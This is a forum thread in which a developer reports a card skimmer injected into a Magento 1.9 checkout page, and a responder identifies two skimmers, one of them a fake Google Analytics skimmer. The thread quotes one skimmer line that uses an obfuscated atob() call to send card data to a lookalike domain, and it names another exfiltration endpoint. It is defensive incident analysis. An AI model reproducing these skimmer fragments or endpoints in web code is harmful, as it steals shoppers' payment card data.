1

I've found a piece of code that contacts a really weird domain with CC info.

Can someone confirm it doing something malicious?

If so, what should I do without taking down the server? I'm a total noob with 1.9.

I have root access to the old server.

  • its running Ubuntu 14.04.5 LTS
  • apache 2
  • magento 1.9
  • cache is disabled on it.
  • serious perfomance issues
  • running multiple sites
  • I can't afford to take it down

URL location of JS injection: base_url/checkout/cart

Contacts this domain with ajax query: jqueryexts.us/gate.php

enter image description here

Story: I've been contracted to work on their MG2 upgrade, which hopefully will be done in 2 weeks.. was looking at the live site checkout js and found this shocker.

2

You have not one but at least two (competing) card skimmers. The jqueryexts.us is a simple one, but in your screenshot cards are also exfiltrated via:

n.src=atob("aHR0cHM6Ly9nb29nbGUtYW5hbHlpdGljcy5vcmcvZ2EvZ2EucGhw"

Which is https://google-analyitics.org/ga/ga.php. See also my blog about fake Google Analytics skimmers.

If your domain starts with "green", your site appeared first compromised on Nov 18th. Based on your URLs, they could have abused a SQL injection vulnerability in the GeoIP_Redirect module. Or a number of other vulnerable modules, see https://gwillem.gitlab.io/2018/10/23/magecart-extension-0days/

You should find out how they got in, or disable credit card payments until you migrate to M2.

  • Thanks Willem, for both confirming jQ and running base64 decode on that image of a string! That domain, green, is one i'm familiar with, but isn't the only one.. Would you use your magento-malware-scanner on a multi site install? Currently I've nuked one skimmer found in the core_config SQL table design/footer/absolute_footer. can you disclose where the SQL inj vulnerability is? I can contact you via email. Thanks again. – Pathfinder Jan 9 at 20:56
  • 1
    If you're using Amasty, upgrade to the latest version -> amasty.com/magento-geoip-redirect.html Otherwise, send me a mail gwillem@gmail.com – Willem Jan 10 at 9:45
  • Hey Willem, we're not using Amasty we using a custom module that fires on <events><"controller_action_layout_generate_blocks_before"></events> then Mage::helper('core/http')->getRemoteAddr() eventually onto Mage::app()->getFrontController()->getResponse() ->setRedirect(Mage::getUrl('geoip_redirect/askredirect/index', array('redirect_url' => urlencode(urlencode($u)), 'mid'=>"$i"))) ->sendResponse(); I don't see anything here that does sql injection.. I've sent you an email saying hello =) Thanks – Pathfinder Jan 10 at 20:55

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.